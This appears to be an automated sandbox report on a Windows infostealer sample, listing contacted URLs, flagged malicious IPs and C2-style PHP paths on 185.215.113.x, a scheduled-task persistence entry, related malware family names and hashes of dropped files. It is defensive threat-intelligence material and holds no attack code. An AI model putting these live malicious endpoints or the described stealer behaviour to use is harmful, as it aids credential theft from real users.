https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://www.office.com	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IDHJEBGIEBFIJKEBFBFH.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpf	file.exe, 00000001.00000002.2725942988.0000000023E0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpK	skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tidal.com/	d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpr	file.exe, 00000001.00000002.2725942988.0000000023E0C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.57.90.111	unknown	United States	35994	AKAMAI-ASUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.49.251.42	unknown	United States	16625	AKAMAI-ASUS	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.219.82.72	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.173.219.113	unknown	United States	3	MIT-GATEWAYSUS	false
4.153.57.10	unknown	United States	3356	LEVEL3US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.168.117.168	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.8
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560576
Start date and time:	2024-11-22 00:10:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/293@26/25
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 199.232.214.172, 142.250.181.99, 192.229.221.95, 142.250.181.138, 172.217.17.42, 142.250.181.74, 172.217.19.202, 172.217.19.234, 172.217.17.74, 172.217.21.42, 142.250.181.10, 142.250.181.42, 216.58.208.234, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 2.19.198.56, 23.32.238.138, 2.16.158.170, 2.16.158.169, 2.16.158.179, 2.16.158.35, 13.87.96.169, 23.32.238.168, 23.32.238.208, 104.126.37.170, 104.126.37.185, 104.126.37.152, 104.126.37.163, 104.126.37.179, 104.126.37.186, 104.126.37.177, 104.126.37.178, 104.126.37.168, 13.74.129.1, 13.107.21.237, 204.79.197.237, 199.232.210.172, 2.16.158.40, 142.251.41.3, 142.251.32.99, 142.251.40.131, 142.250.80.67, 142.251.40.163
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.go
Execution Graph export aborted for target DocumentsJDAFIEHIEG.exe, PID 8592 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8736 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:12:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:11:46	API Interceptor	150x Sleep call for process: file.exe modified
18:13:01	API Interceptor	189x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	[EXTERNAL] Oakville shared ''o_akville_853473074_21.11.2024''.eml	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://powerspecinc.com	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.186.46
	http://bleedingofficecontagion.com	Get hash	malicious	Unknown	Browse	142.250.185.110
	http://bleedingofficecontagion.com	Get hash	malicious	Unknown	Browse	142.250.181.78
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.185.110
	https://www.virustotal.com/gui/domain/ghabovethec.info/detection#:~:text=API-,ghabovethec.info,-Registrar	Get hash	malicious	AveMaria	Browse	142.250.186.174
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	142.250.186.78
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, XWorm	Browse	3.160.188.18
	file.exe	Get hash	malicious	Unknown	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.32.99.21
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.99.105
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	https://www.canva.com/design/DAGXCpgrUrs/iMtluWgvWDmsrSdUOsij5Q/view?utm_content=DAGXCpgrUrs&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.165.220.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	Amadey, XWorm	Browse	23.57.90.111
	FW_ Signature Required For Agreement with ID_41392PJBM8759674.msg	Get hash	malicious	Unknown	Browse	92.122.16.141
	Quote Request.eml	Get hash	malicious	HTMLPhisher	Browse	2.19.126.151
	ExL4unch#U20ac#U00ae.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27
	shell_php00.pdf	Get hash	malicious	Unknown	Browse	104.126.112.182
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse	2.19.126.160
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.247.23.33
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	20.189.173.8
	FW_ Signature Required For Agreement with ID_41392PJBM8759674.msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	[EXTERNAL] Oakville shared ''o_akville_853473074_21.11.2024''.eml	Get hash	malicious	Unknown	Browse	20.44.10.123
MIT-GATEWAYSUS	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.5.248.171
	file.exe	Get hash	malicious	Unknown	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.66.161.92
	https://cheddar-olive-hospital.glitch.me/home.html	Get hash	malicious	Unknown	Browse	18.66.161.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	https://bafkreifkijr4deqnzixvigwgbpmegtl7w7z65bwaf2xegf6wb5oejvy7je.ipfs.flk-ipfs.xyz/#mail@andrejsmanagement.com&c=E,1,7ZfSQ9vAYe7rvB9NwKAqcoBV6_2nCPL09QKb7jG3WYDaiZix9u1hiaulren8GlCVh8tr3ArY61yo0-gZFvLQqJ6pANsbQuIKnEW2EuUntXIIWBvyOuRTAdpQ&typo=1	Get hash	malicious	Unknown	Browse	18.66.161.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.66.161.4
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Cryptbot	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	https://temp.farenheit.net/XMDNvVFp0d0NmOUNSbFJTSVB2QTRuZktxeWdPaG5ReWxrK1NleVgvbGgvakhBRU5TWkZPQW14RDZLMTlST0pJK3Jja1R0bjkyZkxubHc1UXhLdmU5UVNJcVIyU25JdFVIV0hEc3l3R0kvb3VpWWFlWGxvWmJMSDIwaWRkYTV3c2V3ZnpXcVArUkJXbEpTeWU1SCtuRWNpRVI2RFFuNXh1ODEyQUx3WlNCdDB1N3NjcDh2M1p4MU9qSkJ0R2VDV0VDeVJ4THU5bDM5SkkvaGMxc1hEc3pOb0VtcWl0cDUxemRyc1BwMkE9PS0tRklOcExLZUVZVVZGemhWRC0teTZKNGN1UnI2dUIxL3E5Zm91Q2hVZz09?cid=2268024206	Get hash	malicious	KnowBe4	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	http://t.ly/YSjhI	Get hash	malicious	Unknown	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	https://app.smartsheet.com/b/form/9141bdd4d7da45789170a7064a677627	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	file.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 52.149.20.212 13.107.246.63 40.126.53.18 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAEHIEBGHDAFIEBGIEHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAAEBKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFBFBGDBKJJKFIEHJDBAFIECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCBAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265174104134401
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMTSAELyKOMq+8yC8F/YfU5m+OlTLVump:Bq+n0JT9ELyKOMq+8y9/Owe
MD5:	60B644C4EB8360DB6E017D15D06B58B2
SHA1:	8200467A28263A0CAD4A423D96FF0A6D2E31D1FF
SHA-256:	B6460735E084A2185E2CEA2849AB4BFDD7EEE1B4E5A02AF87871282ECA33DDE1
SHA-512:	0D5339ED01D3E80CA0872A53F10B41EE2140550DBB9D0EA3B8FA48763880224079CF9CBB734A9288B1B07BBC9558D8488711B0505C6000697F791091F4D5D7E3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
